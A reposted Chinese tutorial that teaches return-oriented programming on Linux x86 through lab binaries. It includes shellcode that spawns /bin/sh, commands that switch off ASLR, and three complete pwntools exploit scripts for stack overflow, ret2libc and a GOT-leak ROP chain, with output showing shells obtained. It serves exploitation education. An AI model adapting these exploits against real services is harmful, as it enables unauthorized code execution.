[漏洞利用]一步一步學ROP之linux_x86篇(蒸米spark)


[漏洞利用]一步一步學ROP之linux_x86篇(蒸米spark)

轉自蒸米spark的一步一步學ROP

原文鏈接:https://wooyun.js.org/drops/一步一步學ROP之linux_x86篇.html
一步一步學ROP之linux_x64篇: https://www.cnblogs.com/VxerLee/p/15429813.html

0x00 序

ROP的全稱為Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術可以用來繞過現代操作系統的各種通用防御(比如內存不可執行和代碼簽名等)。雖然現在大家都在用64位的操作系統,但是想要扎實的學好ROP還是得從基礎的x86系統開始,但看官請不要着急,在隨后的教程中我們還會帶來linux_x64以及android (arm)方面的ROP利用方法,歡迎大家繼續學習。

0x01 Control Flow Hijack 程序流劫持

比較常見的程序流劫持就是棧溢出,格式化字符串攻擊和堆溢出了。通過程序流劫持,攻擊者可以控制PC指針從而執行目標代碼。為了應對這種攻擊,系統防御者也提出了各種防御方法,最常見的方法有DEP(堆棧不可執行),ASLR(內存地址隨機化),Stack Protector(棧保護)等。但是如果上來就部署全部的防御,初學者可能會覺得無從下手,所以我們先從最簡單的沒有任何保護的程序開始,隨后再一步步增加各種防御措施,接着再學習繞過的方法,循序漸進。

首先來看這個有明顯緩沖區溢出的程序:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

這里我們用

gcc -fno-stack-protector -z execstack -o level1 level1.c

這個命令編譯程序。-fno-stack-protector-z execstack這兩個參數會分別關掉DEP和Stack Protector。同時我們在shell中執行:

sudo -s 
echo 0 > /proc/sys/kernel/randomize_va_space
exit

這幾個指令。執行完后我們就關掉整個linux系統的ASLR保護。

接下來我們開始對目標程序進行分析。首先我們先來確定溢出點的位置,這里我推薦使用pattern.py這個腳本來進行計算。我們使用如下命令:

python pattern.py create 150 

來生成一串測試用的150個字節的字符串:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

隨后我們使用gdb ./level1調試程序。

(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level1 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()

我們可以得到內存出錯的地址為0x37654136。隨后我們使用命令:

python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

就可以非常容易的計算出PC返回值的覆蓋點為140個字節。我們只要構造一個”A”*140+ret字符串,就可以讓pc執行ret地址上的代碼了。

接下來我們需要一段shellcode,可以用msf生成,或者自己反編譯一下。

# execve ("/bin/sh") 
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

這里我們使用一段最簡單的執行execve ("/bin/sh")命令的語句作為shellcode。

溢出點有了,shellcode有了,下一步就是控制PC跳轉到shellcode的地址上:

[shellcode][“AAAAAAAAAAAAAA”….][ret]
^------------------------------------------------|

對初學者來說這個shellcode地址的位置其實是一個坑。因為正常的思維是使用gdb調試目標程序,然后查看內存來確定shellcode的位置。但當你真的執行exp的時候你會發現shellcode壓根就不在這個地址上!這是為什么呢?原因是gdb的調試環境會影響buf在內存中的位置,雖然我們關閉了ASLR,但這只能保證buf的地址在gdb的調試環境中不變,但當我們直接執行./level1的時候,buf的位置會固定在別的地址上。怎么解決這個問題呢?

最簡單的方法就是開啟core dump這個功能。

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

開啟之后,當出現內存錯誤的時候,系統會生成一個core dump文件在tmp目錄下。然后我們再用gdb查看這個core文件就可以獲取到buf真正的地址了。

$./level1 
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

$ gdb level1 /tmp/core.1433844471 
Core was generated by `./level1'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()

(gdb) x/10s $esp-144
0xbffff290:  "ABCD", 'A' <repeats 153 times>, "\n\374\267`\204\004\b"
0xbffff335:  ""

因為溢出點是140個字節,再加上4個字節的ret地址,我們可以計算出buffer的地址為$esp-144。通過gdb的命令 x/10s $esp-144,我們可以得到buf的地址為0xbffff290

OK,現在溢出點,shellcode和返回值地址都有了,可以開始寫exp了。寫exp的話,我強烈推薦pwntools這個工具,因為它可以非常方便的做到本地調試和遠程攻擊的轉換。本地測試成功后只需要簡單的修改一條語句就可以馬上進行遠程攻擊。

p = process('./level1')  #本地測試
p = remote('127.0.0.1',10001)  #遠程攻擊

最終本地測試代碼如下:

#!/usr/bin/env python
from pwn import *

p = process('./level1') 
ret = 0xbffff290

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret) 
#對ret進行編碼,將地址轉換成內存中的二進制存儲形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #發送payload

p.interactive()  #開啟交互shell

執行exp:

$ python exp1.py 
[+] Started program './level1'
[*] Switching to interactive mode
$ whoami
mzheng

接下來我們把這個目標程序作為一個服務綁定到服務器的某個端口上,這里我們可以使用socat這個工具來完成,命令如下:

socat TCP4-LISTEN:10001,fork EXEC:./level1

隨后這個程序的IO就被重定向到10001這個端口上了,並且可以使用 nc 127.0.0.1 10001來訪問我們的目標程序服務了。

因為現在目標程序是跑在socat的環境中,exp腳本除了要把p = process('./level1')換成p = remote('127.0.0.1',10001) 之外,ret的地址還會發生改變。解決方法還是采用生成core dump的方案,然后用gdb調試core文件獲取返回地址。然后我們就可以使用exp進行遠程溢出啦!

python exp1.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ id
uid=1000(mzheng) gid=1000(mzheng) groups=1000(mzheng),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

0x02 Ret2libc – Bypass DEP 通過ret2libc繞過DEP防護

現在我們把DEP打開,依然關閉stack protector和ASLR。編譯方法如下:

gcc -fno-stack-protector -o level2 level2.c

這時候我們如果使用level1的exp來進行測試的話,系統會拒絕執行我們的shellcode。如果你通過sudo cat /proc/[pid]/maps查看,你會發現level1的stack是rwx的,但是level2的stack卻是rw的。

level1:   bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
level2:   bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]

那么如何執行shellcode呢?我們知道level2調用了libc.so,並且libc.so里保存了大量可利用的函數,我們如果可以讓程序執行system(“/bin/sh”)的話,也可以獲取到shell。既然思路有了,那么接下來的問題就是如何得到system()這個函數的地址以及”/bin/sh”這個字符串的地址。

如果關掉了ASLR的話,system()函數在內存中的地址是不會變化的,並且libc.so中也包含”/bin/sh”這個字符串,並且這個字符串的地址也是固定的。那么接下來我們就來找一下這個函數的地址。這時候我們可以使用gdb進行調試。然后通過print和find命令來查找system和”/bin/sh”字符串的地址。

$ gdb ./level2
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
….
(gdb) break main
Breakpoint 1 at 0x8048430
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level2 

Breakpoint 1, 0x08048430 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7e5f460 <system>
(gdb) print __libc_start_main
$2 = {<text variable, no debug info>} 0xb7e393f0 <__libc_start_main>
(gdb) find 0xb7e393f0, +2200000, "/bin/sh"
0xb7f81ff8
warning: Unable to access target memory at 0xb7fc8500, halting search.
1 pattern found.
(gdb) x/s 0xb7f81ff8
0xb7f81ff8:  "/bin/sh"

我們首先在main函數上下一個斷點,然后執行程序,這樣的話程序會加載libc.so到內存中,然后我們就可以通過”print system”這個命令來獲取system函數在內存中的位置,隨后我們可以通過” print __libc_start_main”這個命令來獲取libc.so在內存中的起始位置,接下來我們可以通過find命令來查找”/bin/sh”這個字符串。這樣我們就得到了system的地址0xb7e5f460以及"/bin/sh"的地址0xb7f81ff8。下面我們開始寫exp:

#!/usr/bin/env python
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef
systemaddr=0xb7e5f460
binshaddr=0xb7f81ff8

payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()

要注意的是system()后面跟的是執行完system函數后要返回地址,接下來才是”/bin/sh”字符串的地址。因為我們執行完后也不打算干別的什么事,所以我們就隨便寫了一個0xdeadbeef作為返回地址。下面我們測試一下exp:

$ python exp2.py 
[+] Started program './level2'
[*] Switching to interactive mode
$ whoami
mzheng

OK。測試成功。

0x03 ROP– Bypass DEP and ASLR 通過ROP繞過DEP和ASLR防護

接下來我們打開ASLR保護。

sudo -s 
echo 2 > /proc/sys/kernel/randomize_va_space

現在我們再回頭測試一下level2的exp,發現已經不好用了。

$python exp2.py 
[+] Started program './level2'
[*] Switching to interactive mode
[*] Program './level2' stopped with exit code -11
[*] Got EOF while reading in interactive

如果你通過sudo cat /proc/[pid]/maps或者ldd查看,你會發現level2的libc.so地址每次都是變化的。

cat /proc/[第1次執行的level2的pid]/maps
b759c000-b7740000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7740000-b7741000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7741000-b7743000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7743000-b7744000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

cat /proc/[第2次執行的level2的pid]/maps
b7546000-b76ea000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76ea000-b76eb000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76eb000-b76ed000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76ed000-b76ee000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

cat /proc/[第3次執行的level2的pid]/maps
b7560000-b7704000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7704000-b7705000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7705000-b7707000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7707000-b7708000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

那么如何解決地址隨機化的問題呢?思路是:我們需要先泄漏出libc.so某些函數在內存中的地址,然后再利用泄漏出的函數地址根據偏移量計算出system()函數和/bin/sh字符串在內存中的地址,然后再執行我們的ret2libc的shellcode。既然棧,libc,heap的地址都是隨機的。我們怎么才能泄露出libc.so的地址呢?方法還是有的,因為程序本身在內存中的地址並不是隨機的,如圖所示:

enter image description here

Linux內存隨機化分布圖

所以我們只要把返回值設置到程序本身就可執行我們期望的指令了。首先我們利用objdump來查看可以利用的plt函數和函數對應的got表:

$ objdump -d -j .plt level2

Disassembly of section .plt:

08048310 <read@plt>:
 8048310:   ff 25 00 a0 04 08       jmp    *0x804a000
 8048316:   68 00 00 00 00          push   $0x0
 804831b:   e9 e0 ff ff ff          jmp    8048300 <_init+0x30>

08048320 <__gmon_start__@plt>:
 8048320:   ff 25 04 a0 04 08       jmp    *0x804a004
 8048326:   68 08 00 00 00          push   $0x8
 804832b:   e9 d0 ff ff ff          jmp    8048300 <_init+0x30>

08048330 <__libc_start_main@plt>:
 8048330:   ff 25 08 a0 04 08       jmp    *0x804a008
 8048336:   68 10 00 00 00          push   $0x10
 804833b:   e9 c0 ff ff ff          jmp    8048300 <_init+0x30>

08048340 <write@plt>:
 8048340:   ff 25 0c a0 04 08       jmp    *0x804a00c
 8048346:   68 18 00 00 00          push   $0x18
 804834b:   e9 b0 ff ff ff          jmp    8048300 <_init+0x30>

$ objdump -R level2
//got表
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   read
0804a004 R_386_JUMP_SLOT   __gmon_start__
0804a008 R_386_JUMP_SLOT   __libc_start_main
0804a00c R_386_JUMP_SLOT   write

我們發現除了程序本身的實現的函數之外,我們還可以使用read@plt()write@plt()函數。但因為程序本身並沒有調用system()函數,所以我們並不能直接調用system()來獲取shell。但其實我們有write@plt()函數就夠了,因為我們可以通過write@plt ()函數把write()函數在內存中的地址也就是write.got給打印出來。既然write()函數實現是在libc.so當中,那我們調用的write@plt()函數為什么也能實現write()功能呢? 這是因為linux采用了延時綁定技術,當我們調用write@plit()的時候,系統會將真正的write()函數地址link到got表的write.got中,然后write@plit()會根據write.got 跳轉到真正的write()函數上去。(如果還是搞不清楚的話,推薦閱讀《程序員的自我修養 - 鏈接、裝載與庫》這本書)

因為system()函數和write()在libc.so中的offset(相對地址)是不變的,所以如果我們得到了write()的地址並且擁有目標服務器上的libc.so就可以計算出system()在內存中的地址了。然后我們再將pc指針return回vulnerable_function()函數,就可以進行ret2libc溢出攻擊,並且這一次我們知道了system()在內存中的地址,就可以調用system()函數來獲取我們的shell了。

使用ldd命令可以查看目標程序調用的so庫。隨后我們把libc.so拷貝到當前目錄,因為我們的exp需要這個so文件來計算相對地址:

$ldd level2 
    linux-gate.so.1 =>  (0xb7781000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c4000)
    /lib/ld-linux.so.2 (0xb7782000)
$ cp /lib/i386-linux-gnu/libc.so.6 libc.so

最后exp如下:

#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('level2')

#p = process('./level2')
p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

接着我們使用socat把level2綁定到10003端口:

socat TCP4-LISTEN:10003,fork EXEC:./level2

最后執行我們的exp:

$python exp3.py 
[+] Opening connection to 127.0.0.1 on port 10003: Done
plt_write= 0x8048340
got_write= 0x804a00c
vulfun= 0x8048404

###sending payload1 ...###

###receving write() addr...###
write_addr=0xb76f64c0

###calculating system() addr and "/bin/sh" addr...###
system_addr= 0xb7656460
binsh_addr= 0xb7778ff8

###sending payload2 ...###
[*] Switching to interactive mode
$ whoami
mzheng

0x04 小結

本章簡單介紹了ROP攻擊的基本原理,由於篇幅原因,我們會在隨后的文章中會介紹更多的攻擊技巧:如何利用工具尋找gadgets,如何在不知道對方libc.so版本的情況下計算offset;如何繞過Stack Protector等。歡迎大家到時繼續學習。另外本文提到的所有源代碼和工具都可以從我的github下載:https://github.com/zhengmin1989/ROP_STEP_BY_STEP

0x05 參考文獻

  1. The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86)
  2. picoCTF 2013: https://github.com/picoCTF/2013-Problems
  3. Smashing The Stack For Fun And Profit: http://phrack.org/issues/49/14.html
  4. 程序員的自我修養
  5. ROP輕松談


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM